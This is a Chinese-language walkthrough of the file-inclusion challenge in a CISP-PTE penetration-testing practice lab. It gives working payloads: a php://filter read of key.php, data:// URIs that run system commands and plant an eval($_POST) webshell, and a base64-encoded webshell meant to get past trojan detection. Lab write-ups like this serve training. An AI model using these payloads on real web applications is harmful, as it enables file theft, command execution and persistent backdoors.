CISP-PTE靶场通关思路分享-文件包含篇(十分友好,无比详细)
PTE靶场包含5道Web题之文件包含靶场,此靶场为模拟靶场
文件包含
从首页中我们知道了需要读取根目录下的key.php文件,尝试获取WebShell
不获取Shell,直接读取key.php文件内容:
使用伪协议php://filter可以达到的目的;
使用data伪协议
使用伪协议data://可以达到注入木马获取WebShell的目的
data后面的数据直接用作网页的内容,而不是网页的地址
一、不获取Shell,直接读取key.php文件内容,具体操作步骤如下:
-
- 方法一:使用伪协议php://filter读取key.php文件(../key.php)
构造payload:
http://192.168.110.100:83/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php 或者 http://192.168.43.99:8083/vulnerabilities/fu1.php?file=php://filter/convert.base64-encode/resource=../key.php
将上图红色框内的代码进行Base64解码后即可得到结果:
- 方法二:使用data协议,接着查看浏览器页面源代码即可得到key.php中包含的key:
构造payload:
http://192.168.110.100:83/vulnerabilities/fu1.php?file=data:text/txt,<?php system('cat ../key.php')?> 或者 http://192.168.110.100:83/vulnerabilities/fu1.php?file=data:txt/txt,<?php system('cat ../key.php')?>
然后查看网页源代码,如图所示:
二、使用伪协议data://可以达到注入木马获取WebShell的目的
直接使用data协议:
下面两者payload都可以成功,成功注入后连接菜刀,蚁剑等工具即可成功获取webshell
http://192.168.110.100:83/vulnerabilities/fu1.php?file=data:text/txt,<?php @eval($_POST['a']);?> 拓展,若网站有检测一句话木马上传失败,可使用base64编码,将一句话木马编码后使用data协议进行绕过,如下面代码所示:
下面代码中最后的PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=解码后即为一句话木马,注意:一句话木马编码后的结果不能有加号"+",
若有加号在url编码中代表为空格,就会被替换为空格导致木马上传失败。 若存在加号,则可以使用对一句话木马加减空格等方法使编码后的base64编码中不含加号。 http://192.168.110.100:83/vulnerabilities/fu1.php?file=data://text/txt;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTsgPz4=
连接成功: